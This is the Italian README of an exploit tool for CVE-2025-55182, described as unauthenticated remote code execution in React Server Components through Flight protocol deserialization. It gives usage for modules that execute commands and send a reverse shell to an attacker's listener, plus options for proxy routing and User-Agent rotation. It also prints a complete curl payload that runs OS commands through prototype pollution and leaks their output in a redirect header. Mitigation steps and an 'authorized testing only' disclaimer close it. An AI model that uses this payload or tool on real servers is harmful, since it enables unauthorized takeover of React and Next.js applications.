
CVE-2025-55182 — RCE non autenticato in React Server Components (React2Shell). Strumento di exploit CVSS 10.0 per test di penetrazione autorizzati.
RCE non autenticata nei React Server Components tramite deserializzazione insicura del protocollo Flight. Una singola richiesta HTTP è sufficiente per eseguire codice arbitrario sul server — nessuna credenziale, nessun accesso precedente necessario.
_____ __ _ __
/ ___/____ ___ ____ _/ /_| |/ /
\__ \/ __ \/ _ \/ __ `/ __/ /
___/ / /_/ / __/ /_/ / /_/ |
/____/ .___/\___/\__,_/\__/_/|_|
/_/
React Server Components — Flight Protocol RCE
CVE-2025-55182 · CVSS 10.0
Author: SpeatX · OSCP Style · v1.0
CVE-2025-55182 · CVSS 10.0 · Non autenticata · RCE pre-autenticazione · Divulgato il 3 dicembre 2025
Interessa React 19 (≤ 19.2.0) e qualsiasi applicazione Next.js che utilizzi Server Actions. Le configurazioni predefinite sono vulnerabili — nessun codice personalizzato necessario dal lato bersaglio.
Versioni interessate
| Pacchetto | Vulnerabile | Corretto |
|---|---|---|
react-server | 19.0.0 → 19.2.0 | 19.3.0+ |
next | tutte con React 19 non patchato | 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6+ |
git clone https://github.com/SpeatX/react2shell
cd react2shell
pip install requests
Python 3.8+ richiesto. Nessun'altra dipendenza.
python exploit.py <module> -t <target> [options]
Modules:
check Fingerprint target and confirm vulnerability
exec Execute a single OS command and read the output
revshell Send a reverse shell to your listener
Options:
-t, --target URL Target URL
-c CMD Command to run (exec module)
--lhost IP Your IP (auto-detected from tun0 if not set)
--lport PORT Listening port (default: 4444)
--shell-type TYPE bash · python3 · nc · mkfifo · node (default: bash)
--proxy URL Route through a proxy (e.g. http://127.0.0.1:8080)
--random-agent Rotate User-Agent on each request
--timeout N Request timeout (default: 15)
Flusso di lavoro consigliato — inizia sempre con check:
# 1. Confirm the target is vulnerable
python exploit.py check -t http://10.10.11.50
# 2. Run commands to enumerate or grab flags
python exploit.py exec -t http://10.10.11.50 -c "id"
python exploit.py exec -t http://10.10.11.50 -c "cat /root/root.txt"
# 3. Get a shell when you need interactivity
# (start your listener first: nc -lvnp 4444)
python exploit.py revshell -t http://10.10.11.50
python exploit.py revshell -t http://10.10.11.50 --lhost 10.10.14.5 --lport 4444
python exploit.py revshell -t http://10.10.11.50 --shell-type python3 --lport 9001
Il supporto proxy e lo User-Agent casuale funzionano con qualsiasi modulo:
python exploit.py check -t http://10.10.11.50 --proxy http://127.0.0.1:8080
python exploit.py exec -t http://10.10.11.50 -c "whoami" --random-agent
python exploit.py revshell -t http://10.10.11.50 --proxy http://127.0.0.1:8080
Aiuto per singolo modulo: python exploit.py <module> --help
I React Server Components comunicano utilizzando un formato di streaming interno chiamato protocollo Flight. Quando un browser invoca una Server Action, invia un POST multipart/form-data alla radice dell'app con un header Next-Action. Il server passa il corpo al pacchetto react-server per la deserializzazione prima di fare qualsiasi altra cosa — inclusa la validazione dell'ID dell'azione.
Browser Node.js / Next.js
│ │
│── POST / ────────────────────────>│
│ Next-Action: x │
│ Content-Type: multipart/form-data│
│ Body: poisoned Flight chunk │
│ │
│ react-server │
│ resolveModelToJSON() │ ← vulnerable
│ │
│<── 307 + X-Action-Redirect ───────│ output here
All'interno di resolveModelToJSON(), il deserializzatore percorre il chunk JSON in arrivo. Quando incontra un oggetto con una proprietà then, lo tratta come una Promise e lo attende — comportamento intenzionale per i Server Components asincroni. Il problema: non viene effettuata alcuna validazione per confermare che il thenable provenga da una fonte fidata.
Un attaccante inietta un chunk fittizio nel corpo multipart contenente una proprietà then che punta a require('child_process').execSync(...). React lo attende, e il comando del sistema operativo viene eseguito.
Next-Action: x funzionaIn produzione, le Server Actions sono identificate da un hash SHA. Il server dovrebbe convalidarlo prima di elaborarle. Ma il decoder Flight viene eseguito prima di questo controllo — ciò significa che qualsiasi POST con un header Next-Action, anche completamente falso come x, attiva il percorso di deserializzazione vulnerabile. Non è necessario un ID azione valido.
Il codice iniettato cattura l'output del comando e solleva un errore NEXT_REDIRECT costruito:
var res = require('child_process').execSync('<cmd>').toString().trim();
throw Object.assign(new Error('NEXT_REDIRECT'), {
digest: `NEXT_REDIRECT;push;/login?a=${res};307;`
});
Next.js intercetta questo e lo converte in un 307 Temporary Redirect, incorporando il digest nell'header di risposta X-Action-Redirect. L'output del comando arriva codificato in URL:
HTTP/1.1 307 Temporary Redirect
X-Action-Redirect: /login?a=uid%3D0%28root%29%20gid%3D0%28root%29;307;
curl -si -X POST http://TARGET/ \
-H 'Next-Action: x' \
-H 'Content-Type: multipart/form-data; boundary=----Boundary' \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim().replace(/\\\\n/g,\' | \');;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------Boundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------Boundary--\r\n'
L'output è nell'header X-Action-Redirect, codificato in URL dopo /login?a=.
npm install react@latest react-dom@latest next@latest
Sicurezza minima: react-server ≥ 19.3.0 · next ≥ 15.3.6
Se non è possibile applicare la patch immediatamente:
experimental: { serverActions: false } in next.config.jsNext-Action a livello di proxy inversoNEXT_REDIRECT o __proto__Solo per test di penetrazione autorizzati e fini educativi.